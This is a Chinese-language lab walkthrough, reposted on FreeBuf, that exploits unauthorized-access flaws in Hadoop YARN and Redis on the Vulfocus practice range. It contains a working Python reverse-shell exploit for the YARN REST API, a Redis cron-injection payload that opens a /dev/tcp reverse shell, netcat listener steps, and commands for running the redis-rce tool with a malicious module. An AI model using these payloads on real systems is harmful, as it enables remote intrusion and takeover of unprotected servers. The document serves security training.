freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

什么是未授权访问漏洞?Hadoop & Redis靶场实战——Vulfocus服务攻防
公众号_泷羽Sec 2024-06-30 00:22:26 193140

什么是未授权访问漏洞?Hadoop & Redis靶场实战——Vulfocus服务攻防

一、介绍

未授权访问,也称为未经授权的访问或非法访问,是指在没有得到适当权限或授权的情况下,个人或系统访问了网络、计算机、数据库、文件、应用程序或其他受保护资源的行为。这种访问可能出于恶意或非恶意的目的,但无论其意图如何,未授权访问都可能导致敏感信息的泄露、数据的篡改或破坏、系统功能的异常,甚至更严重的安全事件。

未授权访问的常见攻击手段包括但不限于:

  1. 利用已知的系统漏洞或弱点。

  2. 通过猜测、破解或窃取密码等认证信息。

  3. 使用恶意软件,如病毒、木马等,来绕过安全机制。

  4. 社交工程,如诱骗用户泄露敏感信息。

二、靶场介绍--Vulfocus

image-20240628174734673

Vulfocus是一个便捷的漏洞集成平台,用户只需加载漏洞环境的Docker镜像即可快速使用。它具备一键启动、自动更新flag、计分考核等特性,适用于安全测试和能力评估。平台兼容Vulhub和Vulapps的镜像,支持可视化配置,是安全人员的理想工具。

在线位置:https://vulfocus.cn/#/dashboard

离线版本:https://github.com/fofapro/vulfocus(即使没有网络也可以在本地进行渗透测试)

Tips:docker 部署过程需要科x上网,本地使用不需要,要么使用国外服务器,使用linux部署靶场我没有找到linux版本的科x上网工具,大多数科x上网工具都是windows的,所以使用windows的版本docker(docker desktop)来部署,使用即可这个坑踩了一天。。。

三、漏洞复现

1、Hadoop

Hadoop是一个由Apache基金会开发的分布式系统基础架构,主要解决海量数据的存储和分析计算问题。它起源于Lucene框架,受Google大数据论文启发,发展出HDFS、MapReduce和Hbase等核心组件。2005年,Hadoop作为Lucene子项目Nutch的一部分加入Apache,2006年成为独立项目。Hadoop的命名来自创始人Doug Cutting儿子的玩具大象,它的诞生标志着云计算时代的到来。

Hadoop的主要用于:

  1. 分布式存储:通过Hadoop分布式文件系统(HDFS),Hadoop能够存储海量数据,提供高吞吐量的数据访问。

  2. 分布式计算:利用MapReduce编程模型,Hadoop能够处理大量数据集,执行并行计算任务,提高数据处理效率。

  3. 数据挖掘和分析:Hadoop支持复杂的数据分析和数据挖掘任务,帮助用户从大规模数据集中提取有价值的信息。

Hadoop YARN的ResourceManager是集群资源分配和调度的关键,若出现未授权访问漏洞,可能使未认证用户访问或操纵资源,引发数据泄露、资源滥用或服务中断。此类安全问题需及时修复,以保护集群安全。

该漏洞涉及版本:hadoop 3.3.0以下

搜索hadoop,启动环境即可

image-20240628230649091

访问靶场给你的第一个ip地址,就可以进入hadoop网页界面

image-20240628212546340

查看版本,2.8.1,存在未授权访问漏洞

image-20240628230533998

使用python脚本进行shell反弹

exp脚本参考:https://www.cnblogs.com/cute-puli/p/14944637.html

#!/usr/bin/env python  

import requests

target = 'http://123.58.224.8:32220/' 目标网址
lhost = '用来反弹的ip,公网能访问的ip' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/公网ip监听的端口号 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)

使用终端或者其他shell工具连接你的公网服务器,我的是centos系统,

终端连接ssh协议

ssh root@192.168.128.128

连接之后下载netcat瑞士军刀命令yum install -y nc,启动监听

nc -lvvp 4443

image-20240629164758105

注意,启动监听之前需要放行你监听的防火墙端口,否则之后执行py脚本会导致没有任何反应,查看你的端口放行情况

iptables -L -n -v
-L 表示列出所有规则
-n 表示以数字形式显示地址和端口号
-v 表示显示详细信息

image-20240629162417688

新建一个终端执行你的脚本即可

python .\hadoop-payload.py

反弹成功

image-20240629161403142

再根据题目提示,找到flag提交即可

2、Redis

CNVD-2019-21763是关于Redis数据库的一个远程命令执行漏洞,其原理主要涉及到Redis 4.x及更高版本中新增的模块功能以及主从同步机制的不当使用,它的默认端口为6379,漏洞等级:高危。

image-20240629232057487

端口探测:

由于我启动的vulfocus靶场redis端口为64239,所以nmap扫描命令如下
nmap -v -Pn -p 64239 -sV 123.58.224.8

发现存在64239 redis服务默认端口

image-20240629223634082

使用redis-cli测试靶机的redis是否支持远程连接,经过测试支持

redis-cli -h 123.58.224.8 -p 64239

然后并且追加如下内容

set xxx "\n\n 1 * * * * /bin/bash -i>& /dev/tcp/10.1.1.100/44330>&1\n\n"

config set dir /var/

config set dbfilename root

save

image-20240629233408677

知识扩展:

在面对大量读写数据时,单个Redis实例可能会承受巨大压力。为了解决这个问题,Redis引入了主从模式。在此模式下,一个Redis实例作为主机,负责处理所有的写操作,而其他实例作为从机,与主机保持数据同步,并专门处理读请求。这种读写分离的策略有效减轻了服务器的负载,是通过增加空间使用来换取系统处理效率的一种策略。进一步地,Redis 4.x版本后,通过新增的模块功能,开发者可以使用C语言编写并编译成.so文件,从而在Redis中实现自定义的新命令,进一步扩展了Redis的功能和应用场景。——主从复制RCE

发现保存的时候怎么也保存不了,又花了半小时,找到了这个方法--手动编译 so 扩展文件,忍不住这回当了脚本小子,执行如下命令

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

cd RedisModules-ExecuteCommand/

这是我的目录效果

image-20240629232424034

继续

git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/

image-20240629232510843

cd ../

# 将module.so复制一份到当前目录下的redis-rce
cp module.so ./redis-rce

# 使用pip安装依赖
pip install -r requirements.txt

image-20240629232712601

执行攻击之前,需要放行21000端口

python redis-rce.py -r 123.58.236.76(靶机)  -p redis端口 -L vps的IP地址 -f module.so

中途超时了一下所以我的靶场redis端口变成了 11778

image-20240629232836889

redis-cnvd_2015_07557做法同理,更改靶场ip和端口即可

原文链接:https://mp.weixin.qq.com/s/4gHAAg_c66Y0zgq8id_sNA

# 漏洞 # 网络安全 # 系统安全 # 内网渗透 # 网络安全技术
本文为 公众号_泷羽Sec 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
公众号_泷羽Sec LV.3
转载请联系,公众号【泷羽Sec】
  • 7 文章数
  • 19 关注者
网络安全&密码学—python中的各种加密算法
2024-07-17
从0到1,SQL注入(sql十大注入类型)收藏这一篇就够了,技术解析与实战演练
2024-06-21
[强网杯2019]supersqli--Web安全进阶系列
2024-06-18